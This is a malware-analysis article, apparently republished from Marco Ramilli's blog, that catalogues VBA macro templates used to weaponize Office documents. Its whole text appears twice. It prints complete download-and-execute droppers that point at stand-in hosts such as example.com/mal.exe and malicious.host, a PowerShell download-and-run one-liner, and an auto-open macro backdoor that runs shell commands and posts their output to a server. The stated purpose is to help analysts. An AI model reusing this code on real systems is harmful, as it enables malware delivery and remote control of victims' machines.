The malware expert Marco Ramilli collected a small set of VBA Macros widely re-used to “weaponize” Maldoc (Malware Document) in cyber attacks.

Nowadays one of the most frequent cybersecurity threat comes from Malicious (office) document shipped over eMail or Instant Messaging. Some analyzed threats examples include: Step By Step Office Dropper Dissection, Spreading CVS Malware over Google, Microsoft Powerpoint as Malware Dropper, MalHIDE, Info Stealing: a New Operation in the Wild, Advanced All in Memory CryptoWorm, etc. Many analyses over the past few years taught that attackers love re-used code and they prefer to modify, obfuscate and finally encrypt already known code rather than writing from scratch new “attacking modules”. Here comes the idea to collect a small set of VBA Macros widely re-used to “weaponize” Maldoc (Malware Document) in contemporary cyber attacks.

Very frequently Office documents such as Microsoft Excel or Microsoft Doc are used as droppers. The core concept of a dropper is to Download and to Execute a third party payload (or a second stage) and often when you analyse Office dropper you would experience many layers of obfuscation. Obfuscation comes to make the analysis harder and harder, but once you overcome that stage you would probably see a VBA code looking like the following one.



Download And Execute an External Program

Private Sub DownloadAndExecute() Dim droppingURL As String Dim localPath As String Dim WinHttpReq As Object, oStream As Object Dim result As Integer droppingURL = "https://example.com/mal.exe" localPath = "c://asd.exe" Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP") WinHttpReq.setOption(2) = 13056 ' Ignore cert errors WinHttpReq.Open "GET", droppingURL, False ', "username", "password" WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" WinHttpReq.Send If WinHttpReq.Status = 200 Then Set oStream = CreateObject("ADODB.Stream") oStream.Open oStream.Type = 1 oStream.Write WinHttpReq.ResponseBody oStream.SaveToFile localPath, 2 ' 1 = no overwrite, 2 = overwrite (will not work with file attrs) oStream.Close CreateObject("WScript.Shell").Run localPath, 0 End If End Sub

The main idea behind this function (or sub-routine) is to invoke ServerXMLHTTP object to download a file from an external resource, to save it on local directory (ADODB.Stream object) and finally to execute it through the object WScript.Shell. You might find variants of this behavior, for example you might find controls over language to target specific countries or specific control on already infected machine, for example by avoiding network traffic if the file is already in the localPath. A possible very common way to add infection control on the same victim is, for example, by adding the following code before the HTTP request.

If Dir(localPath, vbHidden + vbSystem) = "" Then

Another very common way to weaponize Office files is to download and to execute a DLL instead of external file. In such a case we can invoke the exported DLL function directly from the VBA code as follows.



Drop And Execute External DLL

Private Sub DropAndRunDll() Dim dll_Loc As String dll_Loc = Environ("AppData") & "\Microsoft\Office" If Dir(dll_Loc, vbDirectory) = vbNullString Then Exit Sub End If VBA.ChDir dll_Loc VBA.ChDrive "C" 'Download DLL Dim dll_URL As String dll_URL = "https://example.com/mal.dll" Dim WinHttpReq As Object Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0") WinHttpReq.Open "GET", dll_URL, False WinHttpReq.send myURL = WinHttpReq.responseBody If WinHttpReq.Status = 200 Then Set oStream = CreateObject("ADODB.Stream") oStream.Open oStream.Type = 1 oStream.Write WinHttpReq.responseBody oStream.SaveToFile "Saved.asd", 2 oStream.Close ModuleExportedInDLL.Invoke End If End Sub

Running DLL and External PE is not the only solution to run code on the victim machine, indeed we might use Powershell as well ! A nice way to execute PowerShell without direct access to PowerShell.exe is by using its DLLs, thanks to PowerShdll project this is possible, for example, in the following way



Dropping and Executing PowerShell

Sub RunDLL() DownloadDLL Dim Str As String Str = "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main . { Invoke-WebRequest -useb "YouWish" } ^| iex;" strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") errReturn = objProcess.Create(Str, Null, objConfig, intProcessID) End Function Sub DownloadDLL() Dim dll_Local As String dll_Local = Environ("TEMP") & "\powershdll.dll" If Not Dir(dll_Local, vbDirectory) = vbNullString Then Exit Sub End If Dim dll_URL As String #If Win64 Then dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x64/Release/PowerShdll.dll" #Else dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x86/Release/PowerShdll.dll" #End If Dim WinHttpReq As Object Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0") WinHttpReq.Open "GET", dll_URL, False WinHttpReq.send myURL = WinHttpReq.responseBody If WinHttpReq.Status = 200 Then Set oStream = CreateObject("ADODB.Stream") oStream.Open oStream.Type = 1 oStream.Write WinHttpReq.responseBody oStream.SaveToFile dll_Local oStream.Close End If End Sub

Or if you have direct access to PowerShell.exe you might use a simple inline script as the following one. This is quite common in today’s Office droppers as well.



Simple PowerShell Drop and Execute External Program

powershell (New-Object System.Net.WebClient).DownloadFile('http://malicious.host:5000/payload.exe','microsoft.exe');Start-Process 'microsoft.exe';exit;

By applying those techniques (http and execute commands) you might decide to run commands on the victim machine such having a backdoor. Actually I did see this code few times related to manual attacks back in 2017. The code below comes from the great work made by sevagas.



Dim serverUrl As String ' Auto generate at startup Sub Workbook_Open() Main End Sub Sub AutoOpen() Main End Sub Private Sub Main() Dim msg As String serverUrl = "<<<TEMPLATE>>>" msg = "<<<TEMPLATE>>>" On Error GoTo byebye msg = PlayCmd(msg) SendResponse msg On Error GoTo 0 byebye: End Sub 'Sen data using http post' 'Note: 'WinHttpRequestOption_SslErrorIgnoreFlags, // 4 ' See https://msdn.microsoft.com/en-us/library/windows/desktop/aa384108(v=vs.85).aspx' Private Function HttpPostData(URL As String, data As String) 'data must have form "var1=value1&var2=value2&var3=value3"' Dim objHTTP As Object Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") objHTTP.Option(4) = 13056 ' Ignore cert errors because self signed cert objHTTP.Open "POST", URL, False objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded" objHTTP.SetTimeouts 2000, 2000, 2000, 2000 objHTTP.send (data) HttpPostData = objHTTP.responseText End Function ' Returns target ID' Private Function GetId() As String Dim myInfo As String Dim myID As String myID = Environ("COMPUTERNAME") & " " & Environ("OS") GetId = myID End Function 'To send response for command' Private Function SendResponse(cmdOutput) Dim data As String Dim response As String data = "id=" & GetId & "&cmdOutput=" & cmdOutput SendResponse = HttpPostData(serverUrl, data) End Function ' Play and return output any command line Private Function PlayCmd(sCmd As String) As String 'Run a shell command, returning the output as a string' ' Using a hidden window, pipe the output of the command to the CLIP.EXE utility... ' Necessary because normal usage with oShell.Exec("cmd.exe /C " & sCmd) always pops a windows Dim instruction As String instruction = "cmd.exe /c " & sCmd & " | clip" CreateObject("WScript.Shell").Run instruction, 0, True ' Read the clipboard text using htmlfile object PlayCmd = CreateObject("htmlfile").ParentWindow.ClipboardData.GetData("text") End Function

You probably will never see those codes like described here, but likely you will find many similarities with the Macros you are/will analyse in your next MalDoc analyses. Just remember that on one hand the attackers love to re-use code but on the other hand they really like to customize it. In your next VBA Macro analysis keep in mind those stereotypes and speed up your analysis.

Nowadays one of the most frequent cybersecurity threat comes from Malicious (office) document shipped over eMail or Instant Messaging. Some analyzed threats examples include: Step By Step Office Dropper Dissection, Spreading CVS Malware over Google, Microsoft Powerpoint as Malware Dropper, MalHIDE, Info Stealing: a New Operation in the Wild, Advanced All in Memory CryptoWorm, etc. Many analyses over the past few years taught that attackers love re-used code and they prefer to modify, obfuscate and finally encrypt already known code rather than writing from scratch new “attacking modules”. Here comes the idea to collect a small set of VBA Macros widely re-used to “weaponize” Maldoc (Malware Document) in contemporary cyber attacks.

Very frequently Office documents such as Microsoft Excel or Microsoft Doc are used as droppers. The core concept of a dropper is to Download and to Execute a third party payload (or a second stage) and often when you analyse Office dropper you would experience many layers of obfuscation. Obfuscation comes to make the analysis harder and harder, but once you overcome that stage you would probably see a VBA code looking like the following one.



Download And Execute an External Program

Private Sub DownloadAndExecute() Dim droppingURL As String Dim localPath As String Dim WinHttpReq As Object, oStream As Object Dim result As Integer droppingURL = "https://example.com/mal.exe" localPath = "c://asd.exe" Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP") WinHttpReq.setOption(2) = 13056 ' Ignore cert errors WinHttpReq.Open "GET", droppingURL, False ', "username", "password" WinHttpReq.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" WinHttpReq.Send If WinHttpReq.Status = 200 Then Set oStream = CreateObject("ADODB.Stream") oStream.Open oStream.Type = 1 oStream.Write WinHttpReq.ResponseBody oStream.SaveToFile localPath, 2 ' 1 = no overwrite, 2 = overwrite (will not work with file attrs) oStream.Close CreateObject("WScript.Shell").Run localPath, 0 End If End Sub

The main idea behind this function (or sub-routine) is to invoke ServerXMLHTTP object to download a file from an external resource, to save it on local directory (ADODB.Stream object) and finally to execute it through the object WScript.Shell. You might find variants of this behavior, for example you might find controls over language to target specific countries or specific control on already infected machine, for example by avoiding network traffic if the file is already in the localPath. A possible very common way to add infection control on the same victim is, for example, by adding the following code before the HTTP request.

If Dir(localPath, vbHidden + vbSystem) = "" Then

Another very common way to weaponize Office files is to download and to execute a DLL instead of external file. In such a case we can invoke the exported DLL function directly from the VBA code as follows.



Drop And Execute External DLL

Private Sub DropAndRunDll() Dim dll_Loc As String dll_Loc = Environ("AppData") & "\Microsoft\Office" If Dir(dll_Loc, vbDirectory) = vbNullString Then Exit Sub End If VBA.ChDir dll_Loc VBA.ChDrive "C" 'Download DLL Dim dll_URL As String dll_URL = "https://example.com/mal.dll" Dim WinHttpReq As Object Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0") WinHttpReq.Open "GET", dll_URL, False WinHttpReq.send myURL = WinHttpReq.responseBody If WinHttpReq.Status = 200 Then Set oStream = CreateObject("ADODB.Stream") oStream.Open oStream.Type = 1 oStream.Write WinHttpReq.responseBody oStream.SaveToFile "Saved.asd", 2 oStream.Close ModuleExportedInDLL.Invoke End If End Sub

Running DLL and External PE is not the only solution to run code on the victim machine, indeed we might use Powershell as well ! A nice way to execute PowerShell without direct access to PowerShell.exe is by using its DLLs, thanks to PowerShdll project this is possible, for example, in the following way



Dropping and Executing PowerShell

Sub RunDLL() DownloadDLL Dim Str As String Str = "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main . { Invoke-WebRequest -useb "YouWish" } ^| iex;" strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") errReturn = objProcess.Create(Str, Null, objConfig, intProcessID) End Function Sub DownloadDLL() Dim dll_Local As String dll_Local = Environ("TEMP") & "\powershdll.dll" If Not Dir(dll_Local, vbDirectory) = vbNullString Then Exit Sub End If Dim dll_URL As String #If Win64 Then dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x64/Release/PowerShdll.dll" #Else dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x86/Release/PowerShdll.dll" #End If Dim WinHttpReq As Object Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0") WinHttpReq.Open "GET", dll_URL, False WinHttpReq.send myURL = WinHttpReq.responseBody If WinHttpReq.Status = 200 Then Set oStream = CreateObject("ADODB.Stream") oStream.Open oStream.Type = 1 oStream.Write WinHttpReq.responseBody oStream.SaveToFile dll_Local oStream.Close End If End Sub

Or if you have direct access to PowerShell.exe you might use a simple inline script as the following one. This is quite common in today’s Office droppers as well.



Simple PowerShell Drop and Execute External Program

powershell (New-Object System.Net.WebClient).DownloadFile('http://malicious.host:5000/payload.exe','microsoft.exe');Start-Process 'microsoft.exe';exit;

By applying those techniques (http and execute commands) you might decide to run commands on the victim machine such having a backdoor. Actually I did see this code few times related to manual attacks back in 2017. The code below comes from the great work made by sevagas.



Dim serverUrl As String ' Auto generate at startup Sub Workbook_Open() Main End Sub Sub AutoOpen() Main End Sub Private Sub Main() Dim msg As String serverUrl = "<<<TEMPLATE>>>" msg = "<<<TEMPLATE>>>" On Error GoTo byebye msg = PlayCmd(msg) SendResponse msg On Error GoTo 0 byebye: End Sub 'Sen data using http post' 'Note: 'WinHttpRequestOption_SslErrorIgnoreFlags, // 4 ' See https://msdn.microsoft.com/en-us/library/windows/desktop/aa384108(v=vs.85).aspx' Private Function HttpPostData(URL As String, data As String) 'data must have form "var1=value1&var2=value2&var3=value3"' Dim objHTTP As Object Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") objHTTP.Option(4) = 13056 ' Ignore cert errors because self signed cert objHTTP.Open "POST", URL, False objHTTP.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" objHTTP.setRequestHeader "Content-type", "application/x-www-form-urlencoded" objHTTP.SetTimeouts 2000, 2000, 2000, 2000 objHTTP.send (data) HttpPostData = objHTTP.responseText End Function ' Returns target ID' Private Function GetId() As String Dim myInfo As String Dim myID As String myID = Environ("COMPUTERNAME") & " " & Environ("OS") GetId = myID End Function 'To send response for command' Private Function SendResponse(cmdOutput) Dim data As String Dim response As String data = "id=" & GetId & "&cmdOutput=" & cmdOutput SendResponse = HttpPostData(serverUrl, data) End Function ' Play and return output any command line Private Function PlayCmd(sCmd As String) As String 'Run a shell command, returning the output as a string' ' Using a hidden window, pipe the output of the command to the CLIP.EXE utility... ' Necessary because normal usage with oShell.Exec("cmd.exe /C " & sCmd) always pops a windows Dim instruction As String instruction = "cmd.exe /c " & sCmd & " | clip" CreateObject("WScript.Shell").Run instruction, 0, True ' Read the clipboard text using htmlfile object PlayCmd = CreateObject("htmlfile").ParentWindow.ClipboardData.GetData("text") End Function

You probably will never see those codes as described here, but likely you will find many similarities with the Macros you are/will in your next MalDoc analyses. Just remember that on one hand the attackers love to re-use on the other hand they really like to customize it. In your next VBA Macro analysis keep in mind those stereotypes and speed up your analysis.

The original post is available on Marco Ramilli’s blog:

About the author: Marco Ramilli, Founder of Yoroi

I am a computer security scientist with an intensive hacking background. I do have a MD in computer engineering and a PhD on computer security from University of Bologna. During my PhD program I worked for US Government (@ National Institute of Standards and Technology, Security Division) where I did intensive researches in Malware evasion techniques and penetration testing of electronic voting systems.

I do have experience on security testing since I have been performing penetration testing on several US electronic voting systems. I’ve also been encharged of testing uVote voting system from the Italian Minister of homeland security. I met Palantir Technologies where I was introduced to the Intelligence Ecosystem. I decided to amplify my cyber security experiences by diving into SCADA security issues with some of the most biggest industrial aglomerates in Italy. I finally decided to found Yoroi: an innovative Managed Cyber Security Service Provider developing some of the most amazing cyber security defence center I’ve ever experienced ! Now I technically lead Yoroi defending our customers strongly believing in: Defence Belongs To Humans

Pierluigi Paganini

(SecurityAffairs – VBA macros, Office malware)